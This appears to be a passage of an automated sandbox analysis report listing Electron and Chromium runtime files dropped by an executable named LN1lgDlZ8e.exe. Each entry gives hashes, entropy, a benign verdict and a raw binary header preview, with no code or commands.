                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libEGL.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):481280
                                                                                                                                                                                                                                                Entropy (8bit):6.330677392522242
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:F9L2FFtoVsruIzUEzUST6uHKw+BubaOQ74PlqF8:F9CGafznzUSTRY70I
                                                                                                                                                                                                                                                MD5:1EECFB04C4434F5A813C8F0C0C8F2C88
                                                                                                                                                                                                                                                SHA1:6DC3CA4B3F72E7FB33BA26FA488DE323EDB59ADD
                                                                                                                                                                                                                                                SHA-256:897CEB95FB164640DDD2426673997B5F6FC2619FD916B038B575A70A0682A706
                                                                                                                                                                                                                                                SHA-512:D7818A42A76508AC3150AEA8D4E168B2DB36F55F71983A177002086380A82E307624CFE37B01FFC3D7EB407485D182654D0D7C6A0C06CCAAE60666630469C7E0
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." .....$................................................................`A........................................00......F>..(.......x.... ...C..............0....(.......................'..(...@A..@...........pA...............................text....".......$.................. ..`.rdata.......@.......(..............@..@.data....L....... ..................@....pdata...C... ...D..................@..@.00cfg..8....p......................@..@.gxfg...`$.......&..................@..@.retplne.............>...................tls....!............@..............@..._RDATA..\............B..............@..@.rsrc...x............D..............@..@.reloc..0............J..............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\libGLESv2.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):7625728
                                                                                                                                                                                                                                                Entropy (8bit):6.463180789552528
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:98304:U8qvGdDtslh+LD3ZDWfnSvBSDU5bPm3k89Ld3gsOMt/:JD3ZXJ7bPWLWsD/
                                                                                                                                                                                                                                                MD5:CBA2436016F7A2838588A52D5B6F30F1
                                                                                                                                                                                                                                                SHA1:81DDF44B3E122DFBEE1A2CD8D4544364F1A621A4
                                                                                                                                                                                                                                                SHA-256:BCB3A3D2FCA3C33FA3D1D5DC976AA913CDC8001DF8E64C2CD3D2C545245141BF
                                                                                                                                                                                                                                                SHA-512:D92A880B5F83C5AE10AE9A83E38A293BB0E8C7659DD6ECE162FC752D57C9FCDE8036B81B023CD9F0F4F32B95B06FD4C366E20301010354B6CB904398A3149A44
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Antivirus:
                                                                                                                                                                                                                                                • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                                                                                                                Preview:MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d...)<#d.........." ......Z...........M......................................`u...........`A..........................................k.8.....l.d....pt.......q.lO............t......vk.....................huk.(.....Z.@.............l.......k.@....................text...e.Z.......Z................. ..`.rdata..l.....Z.......Z.............@..@.data.........m..|....m.............@....pdata..lO....q..P....q.............@..@.00cfg..8.....t......Ps.............@..@.gxfg....+....t..,...Rs.............@..@.retplne.....@t......~s..................tls....:....Pt.......s.............@..._RDATA..\....`t.......s.............@..@.rsrc........pt.......s.............@..@.reloc........t.......s.............@..B................................................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\af.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):377708
                                                                                                                                                                                                                                                Entropy (8bit):5.4079285675542845
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:ebGJWQdLX/Wi6fR9a5DhZ2FQPnUGSBhjA636Zi2Jyn9Ybt5KXpgmLwSVxJsVxSjf:6GJW2bOi6fRmZ2OPnUThjA636Zi2Jynd
                                                                                                                                                                                                                                                MD5:7E51349EDC7E6AED122BFA00970FAB80
                                                                                                                                                                                                                                                SHA1:EB6DF68501ECCE2090E1AF5837B5F15AC3A775EB
                                                                                                                                                                                                                                                SHA-256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
                                                                                                                                                                                                                                                SHA-512:69DA19053EB95EEF7AB2A2D3F52CA765777BDF976E5862E8CEBBAA1D1CE84A7743F50695A3E82A296B2F610475ABB256844B6B9EB7A23A60B4A9FC4EAE40346D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........E...h.....i.....j.....k.....l.....n."...o.'...p.4...r.:...s.K...t.T...v.i...w.v...y.|...z.....|.....}.....................................................................................-.....>.....E.....N.....g.....p.....{...................................................../.....?.....K.....X.....y...........................................................<.....R.....W.....].....l.....y.....}.....................................................+.....9.....A.....I.....P.....U.....c.....s...............................................%.....J.....d.....m.....y...........................................................+.....2.....5.....6.....B.....L.....V.....].....g.............................O.....^.....k.................................................................".....5.....Q.....z....................................... .....".....%.....(.$...*.D...+.G...,.e........./.....0.....1.....3.....4.....5.....6.D...7.U...8.j...9.y...<.....=.....>.....?.....@.....A.....C.$...D.+.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\am.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):613642
                                                                                                                                                                                                                                                Entropy (8bit):4.894733266944232
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:b3pIuPzq8xSTwO8sgjZz5E9VJAVtnuviQix30jH8+I:b3plq8xLO8zjZz5E9VJAVtSiQO
                                                                                                                                                                                                                                                MD5:2009647C3E7AED2C4C6577EE4C546E19
                                                                                                                                                                                                                                                SHA1:E2BBACF95EC3695DAAE34835A8095F19A782CBCF
                                                                                                                                                                                                                                                SHA-256:6D61E5189438F3728F082AD6F694060D7EE8E571DF71240DFD5B77045A62954E
                                                                                                                                                                                                                                                SHA-512:996474D73191F2D550C516ED7526C9E2828E2853FCFBE87CA69D8B1242EB0DEDF04030BBCA3E93236BBD967D39DE7F9477C73753AF263816FAF7D4371F363BA3
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........W...h.....i.....j.'...k.6...l.A...n.I...o.N...p.[...r.a...s.r...t.{...v.....w.....y.....z.....|.....}.........................................................................7.....S.....i.........................................L.....k.....m.....q...................................1.....A.....`.............................".....4.....=.....\.....~...................................5.....Q.....W.....Z.....i.............................K.....z.....................................................8.....G.....`.............................".........................................>.....A.....s.............................@.....G.....J.....K.....W.....`.....|.......................<............................./.....g.....w...............................................3.......................E.....j.....p.....x..................... .....".....%.6...(.c...*.....+.....,.........../.....0.....1.]...3.y...4.....5.....6.K...7.s...8.....9.....;.....<.....=.....>.?...?.I...@.i...A.....C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\ar.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):671738
                                                                                                                                                                                                                                                Entropy (8bit):4.903433286644294
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:gjptqBycpX8vYULIrmhkH+P5NNb++YTzgpPMgSENeX:BB2um5S++
                                                                                                                                                                                                                                                MD5:47A6D10B4112509852D4794229C0A03B
                                                                                                                                                                                                                                                SHA1:2FB49A0B07FBDF8D4CE51A7B5A7F711F47A34951
                                                                                                                                                                                                                                                SHA-256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
                                                                                                                                                                                                                                                SHA-512:5F5B280261195B8894EFAE9DF2BECE41C6C6A72199D65BA633C30D50A579F95FA04916A30DB77831F517B22449196D364D6F70D10D6C5B435814184B3BCF1667
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........*...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.!...v.6...w.C...y.I...z.X...|.^...}.p.....x.....}.................................................................'.....^.....n...................................'.....*...........V.....x.........................................G.....].....p...............................................o...................................................../.....Q.....s.......................(....._.....i.....q.....x.............................#.....:.....m.......................).....Z.....k.........................................$.....?.....U.....k...........................................................p.................7.....L.....h.......................!.....1.....9.....E.....g.......................&.....Z............................................. .'...".D...%.x...(.....*.....+.....,.6.....M.../.~...0.....1.....3.....4.....5.,...6.....7.....8.....9.....;.....<.:...=.P...>.....?.....@.....A.....C.....D.....E.!...F._.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\bg.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):701716
                                                                                                                                                                                                                                                Entropy (8bit):4.66095894344634
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:7Od6KqVw2iILlY+dAs1aQUfjoaVV4FH2mFxvx35uKN3CuKb7szmV2Jfu64K+z5jG:KsKqJi6lY+dAs1aQU7yZx35uK4XQzQI9
                                                                                                                                                                                                                                                MD5:A19269683A6347E07C55325B9ECC03A4
                                                                                                                                                                                                                                                SHA1:D42989DAF1C11FCFFF0978A4FB18F55EC71630EC
                                                                                                                                                                                                                                                SHA-256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
                                                                                                                                                                                                                                                SHA-512:1660E487DF3F3F4EC1CEA81C73DCA0AB86AAF121252FBD54C7AC091A43D60E1AFD08535B082EFD7387C12616672E78AA52DDDFCA01F833ABEF244284482F2C76
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........P...h.....i.....j.....k.%...l.0...n.8...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.........................................................................F.....h...............................................[.........................................#.....Q.....x...................................[.........................................T...............................................'.....U......................./.....c...............................................>.....s.............................4.....^................. .....9.....V.....l...................................\...............................................&.....B.....S.....v...............................................O.....r...................................0.......................9.....z.......................-.....[............... .....".....%.....(.E...*.q...+.t...,.........../.....0.....1.....3.....4.....5.....6.....7.....8.....9.....;.3...<.G...=._...>.....?.....@.....A.....C.F.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\bn.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):904943
                                                                                                                                                                                                                                                Entropy (8bit):4.273773274227575
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:wqf22AwWk+ADszaaH0PaMadiMNKVbVtQW01jilDouMGsW2uMBVr+9RU4yVS5PMxq:1zW/AMfafVoCp8YbkJBbdJ2DB5y0XlRB
                                                                                                                                                                                                                                                MD5:5CDD07FA357C846771058C2DB67EB13B
                                                                                                                                                                                                                                                SHA1:DEB87FC5C13DA03BE86F67526C44F144CC65F6F6
                                                                                                                                                                                                                                                SHA-256:01C830B0007B8CE6ACA46E26D812947C3DF818927B826F7D8C5FFD0008A32384
                                                                                                                                                                                                                                                SHA-512:2AC29A3AA3278BD9A8FE1BA28E87941F719B14FBF8B52E0B7DC9D66603C9C147B9496BF7BE4D9E3AA0231C024694EF102DCC094C80C42BE5D68D3894C488098C
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........K...h.....i.....j.....k.$...l./...n.7...o.=...p.J...r.P...s.a...t.j...v.....w.....y.....z.....|.....}.............................................................................................................7.....a.......................".....$.....(.....P.......................+.....T.....p.......................H...................................M.....c...........5.....D....._.........................................A.....z.................B.......................................................................H.....a.....s.........................................B.....g.............................3.....W.....{...............................................>...........j...................................6.....R.........................................g...........9.....u...........V...................................8... .M...".....%.....(. ...*.\...,._........./.....0.....1.`...3.....4.....5.....6.....7.....8.E...9.d...;.....<.....=.....>."...?.5...@.j...A.....C.3...D.S.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\ca.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):426906
                                                                                                                                                                                                                                                Entropy (8bit):5.400864409916039
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:+XnGrijIs3cSlFEYLCJBB43nbhjJSwmrwiwWzM1ldLbpuQ16BtryBBwIle3nei3X:iNV4ossMNu51hnW5CptA
                                                                                                                                                                                                                                                MD5:D259469E94F2ADF54380195555154518
                                                                                                                                                                                                                                                SHA1:D69060BBE8E765CA4DC1F7D7C04C3C53C44B8AB5
                                                                                                                                                                                                                                                SHA-256:F98B7442BEFC285398A5DD6A96740CBA31D2F5AADADD4D5551A05712D693029B
                                                                                                                                                                                                                                                SHA-512:D0BD0201ACF4F7DAA84E89AA484A3DEC7B6A942C3115486716593213BE548657AD702EF2BC1D3D95A4A56B0F6E7C33D5375F41D6A863E4CE528F2BD6A318240E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........N...h.....i.....j.....k.!...l.,...n.4...o.9...p.F...r.L...s.]...t.f...v.{...w.....y.....z.....|.....}...............................................................................6.....O.....o.....|.....................................................2.....J.....j.....q...........................................................1.....;.....M.....].......................................................................D.....i.................................................................+.....2.....?.....u.........................................".....5.....F.....b.....e.....}.............................................................................&.....h......................./.....P.....s.....................................................4.....P.....|...............................................:.....F... .Q...".g...%.....(.....*.....+.....,.........../.-...0.2...1.h...3.x...4.....5.....6.....7.....8.....9.(...;.6...<.D...=.R...>.l...?.v...@.....A.....C.....D.....E...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\cs.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):436202
                                                                                                                                                                                                                                                Entropy (8bit):5.843819816549512
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:U4ftEfqE2jv7ShUjBA59wjd558YAGKND9Gto8QV:U41HE2jjShqywjd558YAbNDcI
                                                                                                                                                                                                                                                MD5:04A680847C4A66AD9F0A88FB9FB1FC7B
                                                                                                                                                                                                                                                SHA1:2AFCDF4234A9644FB128B70182F5A3DF1EE05BE1
                                                                                                                                                                                                                                                SHA-256:1CC44C5FBE1C0525DF37C5B6267A677F79C9671F86EDA75B6FC13ABF5D5356EB
                                                                                                                                                                                                                                                SHA-512:3A8A409A3C34149A977DEA8A4CB0E0822281AED2B0A75B02479C95109D7D51F6FB2C2772CCF1486CA4296A0AC2212094098F5CE6A1265FA6A7EB941C0CFEF83E
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:......../...h.....i.....j.....k.....l.....n.....o.....p.....r.....s.....t.(...v.=...w.J...y.P...z._...|.e...}.w.........................................................................................#.....,.....9.....V.....d.........................................!.....?.....L.....X.....d.....o.....................................................".....4.....E.....{.......................................................................8.....O.....d.....{.................................................................H.....Z.....h.....................................................9.....<.....J.....X.....h.....w.................................................................!.....p.......................".....>.....s.....................................................&.....N.....n.........................................+.....5... .=...".N...%.u...(.....*.....+.....,.........../.....0.....1.H...3.V...4.s...5.....6.....7.....8.....9.....<."...=.,...>.A...?.I...@.[...A.....C.....D...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\da.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):396104
                                                                                                                                                                                                                                                Entropy (8bit):5.454826678090317
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:Q3rSn4RJ28687mlwlGXaJwZkqEb1Phv6VP5yarXGzOJixhd4/TWwS:eND/xqkqEO5nrFTq
                                                                                                                                                                                                                                                MD5:1A53D374B9C37F795A462AAC7A3F118F
                                                                                                                                                                                                                                                SHA1:154BE9CF05042ECED098A20FF52FA174798E1FEA
                                                                                                                                                                                                                                                SHA-256:D0C38EB889EE27D81183A0535762D8EF314F0FDEB90CCCA9176A0CE9AB09B820
                                                                                                                                                                                                                                                SHA-512:395279C9246BD30A0E45D775D9F9C36353BD11D9463282661C2ABD876BDB53BE9C9B617BB0C2186592CD154E9353EA39E3FEED6B21A07B6850AB8ECD57E1ED29
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........[...h.....i.)...j.5...k.D...l.O...n.W...o.\...p.i...r.o...s.....t.....v.....w.....y.....z.....|.....}.........................................................................?.....M.....].....q.....y...........................................................4.....K.....R.....].....m.....t...........................................................5.....F.....u.............................................................................9.....T.....m.....w.....z................................................................./.....E.....k.............................................................................+.....2.....5.....6.....=.....F.....L.....S.....^.............................X.....n.......................................................................F.....[................................................... .....".....%.,...(.T...*.....+.....,.........../.....0.....1.....3.....4.%...5.=...6.o...7.....8.....9.....;.....<.....=.....>.....?.....@.....A.%...C.B...D.L.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\de.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):424277
                                                                                                                                                                                                                                                Entropy (8bit):5.503137231857292
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:TFigju3qg4wajEzUKnYm31SOmhqYl51gHNiOIkCJD:TFiecqg1aqHSOu599kCJD
                                                                                                                                                                                                                                                MD5:8E6654B89ED4C1DC02E1E2D06764805A
                                                                                                                                                                                                                                                SHA1:FF660BC85BB4A0FA3B2637050D2B2D1AECC37AD8
                                                                                                                                                                                                                                                SHA-256:61CBCE9A31858DDF70CC9B0C05FB09CE7032BFB8368A77533521722465C57475
                                                                                                                                                                                                                                                SHA-512:5AC71EDA16F07F3F2B939891EDA2969C443440350FD88AB3A9B3180B8B1A3ECB11E79E752CF201F21B3DBFBA00BCC2E4F796F347E6137A165C081E86D970EE61
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............h.V...i.g...j.s...k.....l.....n.....o.....p.....r.....s.....t.....v.....w.....y.....z.....|.....}.............#.....+.....3.....;.....B.....I.....P.....Q.....R.....T...........................................................$.....:.....<.....@.....h.....}.....................................................-.....Q.....d.....j.....s...............................................4.....K.....O.....R.....[.....t...................................D.....Q.....[.....c.....j.....p.....}...............................................0.....d.................................................................6.....O.....i.....p.....s.....t.....~...................................=...................................6.....?.....Q.....[.....h.....m.....r...................................(.....Y.....u.....{........................... .....".....%.....(.....*./...+.2...,.P.....a.../.w...0.....1.....3.....4.....5.....6.A...7.U...8.i...9.w...;.....<.....=.....>.....?.....@.....A.....C.....D.%.

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\locales\el.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):769050
                                                                                                                                                                                                                                                Entropy (8bit):4.75072843480339
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:12288:H/58dBquNw2202pgtZSWjZ4LIbsJvaP5A3HKQiEQBR07391qf2utKMaBlS9WffFR:H8BquNw2202pgtsWjyLrJvaRA3HtiEQG
                                                                                                                                                                                                                                                MD5:9528D21E8A3F5BAD7CA273999012EBE8
                                                                                                                                                                                                                                                SHA1:58CD673CE472F3F2F961CF8B69B0C8B8C01D457C
                                                                                                                                                                                                                                                SHA-256:E79C1E7A47250D88581E8E3BAF78DCAF31FE660B74A1E015BE0F4BAFDFD63E12
                                                                                                                                                                                                                                                SHA-512:165822C49CE0BDB82F3C3221E6725DAC70F53CFDAD722407A508FA29605BC669FB5E5070F825F02D830E0487B28925644438305372A366A3D60B55DA039633D7
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:........M...h.....i.....j.....k.....l.(...n.0...o.5...p.B...r.H...s.Y...t.b...v.w...w.....y.....z.....|.....}.........................................................................P.....w.............................B.....N.....Z...................................+.....x...................................h.....y.............................&.....C.....a.................,.....4.....H.....o...................................!.....M.................8...............................................1....._.....w.................!.....2.....q.................J.....a.........................................,.....O.....|.........................................!.....3.....F.....^.......................,.................<.............................(.....;.....I.......................M.................T.................................../... .B...".e...%.....(.....*.7...+.:...,.X........./.....0.....1.m...3.....4.....5.#...6.....7.....8.....9. ...;.a...<.w...=.....>.....?.....@.....A.B...C...

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\resources.pak

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):5245458
                                                                                                                                                                                                                                                Entropy (8bit):7.995476669559971
                                                                                                                                                                                                                                                Encrypted:true
                                                                                                                                                                                                                                                SSDEEP:98304:HLYxfQVcnNWz49PDq2AwpmqdhBh1Dd42cjrwrbHw4o0DPelwG3RC:H0pQGcMButuBhpd4jkrU4oeelrRC
                                                                                                                                                                                                                                                MD5:7D5065ECBA284ED704040FCA1C821922
                                                                                                                                                                                                                                                SHA1:095FCC890154A52AD1998B4B1E318F99B3E5D6B8
                                                                                                                                                                                                                                                SHA-256:A10C3D236246E001CB9D434A65FC3E8AA7ACDDDDD9608008DB5C5C73DEE0BA1F
                                                                                                                                                                                                                                                SHA-512:521B2266E3257ADAA775014F77B0D512FF91B087C2572359D68FFE633B57A423227E3D5AF8EE4494538F1D09AA45FFA1FE8E979814178512C37F7088DDD7995D
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............f.......P'....$*.....-...43@...4.H...4XK...4i]...4.f...4.m...4?p...4.v...4.x...4.z...4.~...4....4.....4?....4.....4....4.....4=....4z....4a....4....4....4.....4.....4.....43....4.....4.....4J....4J....4.....4.....4#....4j....4J....5.....5....v5.:..w5.;..x5.<..y5.>..z5a?...5.?...5.D...5.E...5dJ...5.O...5.V...5.f...5.w...5.x...5.|..n<&...x<....y<....z<....{<....|<....<+....<r....<8....</....<....V@....W@....X@x...Y@d...Z@....[@2...\@O...]@....^@...._@hh..`@....<A....=A.....P.~...Pe....PX....P.....P.....Pt....P.....P3....Q.....QF....Q.....Q.....Q.....Q[....QA....Q.....Q.....QW....Q.....Qv....Q9!...Q.'...QF....Q.1..,Q.F..-QsL...QLN../Q.P..0Q.U..1Q.i..2Q.j..3Q.k..4QEm..5Q.o..6Q.r..7Q~t..8QEw..9Q!x..:Q.z..;Ql...<Q)...=Q....>Q ...?Q"....R....Ry....}.....}. ...}._...}%a...}[h...}.h...}[j...}Lo...}....}.&...}.....}.6...}4;...}.=...}&B...}mG...~.O...~.d...~.q...~.t...~.|...~.}..!~...."~....#~...$~|...&~....'~A...(~....)~....*~t$..+~.4..,~.6..-~V8...~.;../~i<..0~|=..1~iA..2~.H

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\snapshot_blob.bin

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):273328
                                                                                                                                                                                                                                                Entropy (8bit):3.2521181832662194
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:1536:MpeVehd7eASb6iAGm4hmWRSJTnBSki+TfUNp2Zg+TEJ0xEI2tWaw8MCZ72T04GO9:YdyNm4mWRSJTBSXsU1vJzbYB
                                                                                                                                                                                                                                                MD5:8915DD2A6D6B4EBF9A16C77FE063D8DE
                                                                                                                                                                                                                                                SHA1:A03132ADCB99A82BA269D56AB6577CCFD1BB08E5
                                                                                                                                                                                                                                                SHA-256:C1802B29B13663A8890031411270866834246931F71F41397682DD88FA16D485
                                                                                                                                                                                                                                                SHA-512:ABD93CDD634AD4D38B7E3714B183335CDDB9E3AD14660247CC7285066C95342AC8595D68CD0868B8512E73BB656AB54386045533F998576B2CD6501BF456CD2C
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:............11.2.214.9-electron.0............................................;...b...........:..a........a........a........ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.............................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\v8_context_snapshot.bin

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:data
                                                                                                                                                                                                                                                Category:dropped
                                                                                                                                                                                                                                                Size (bytes):588152
                                                                                                                                                                                                                                                Entropy (8bit):4.83735352889622
                                                                                                                                                                                                                                                Encrypted:false
                                                                                                                                                                                                                                                SSDEEP:6144:bFzofuYUahtcOm3A0Tg8zY8y4XrxXSIIBYgHi:JMfu/fTY8zrM9C7
                                                                                                                                                                                                                                                MD5:4CD37EA771EA4FE2F3AD46217CC02206
                                                                                                                                                                                                                                                SHA1:31680E26869B007E62550E96DBF846B3980D5B2B
                                                                                                                                                                                                                                                SHA-256:95F7B8664306DA8D0073A795E86590ED6FDAEDE5F489132E56C8779F53CF1ED5
                                                                                                                                                                                                                                                SHA-512:E1369734CBE17AAF6DD3CEEFB57F056C5A9346D2887A7D3EE7ED177386D7F5E624407869D53902B56AB350E4DED5612C3B0F52C2DD3EFA307E9947701068A2A0
                                                                                                                                                                                                                                                Malicious:false
                                                                                                                                                                                                                                                Preview:.........c~.11.2.214.9-electron.0...........................................H...P<..........X...........a........a........aT.......ar.......a........a..............Y.D............`$.........D............`$.......D............`$.......m.D............`$.........D............`D.........D............`$.......1.D............`$.......D............`$.......D............`$.........D............`$.......D............`$......ID............`$.......D............`$.......D............`$....(Jb....I.....@..F^......`.....(Jb....M.....@..F^..`.....H...IDa........D`....D`....D`.......D`.....D]D....D`......WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa...........WIa............L.....................................................................................................................................................

                                                                                                                                                                                                                                                C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\vk_swiftshader.dll

                                                                                                                                                                                                                                                Download File
                                                                                                                                                                                                                                                Process:C:\Users\user\Desktop\LN1lgDlZ8e.exe
                                                                                                                                                                                                                                                File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
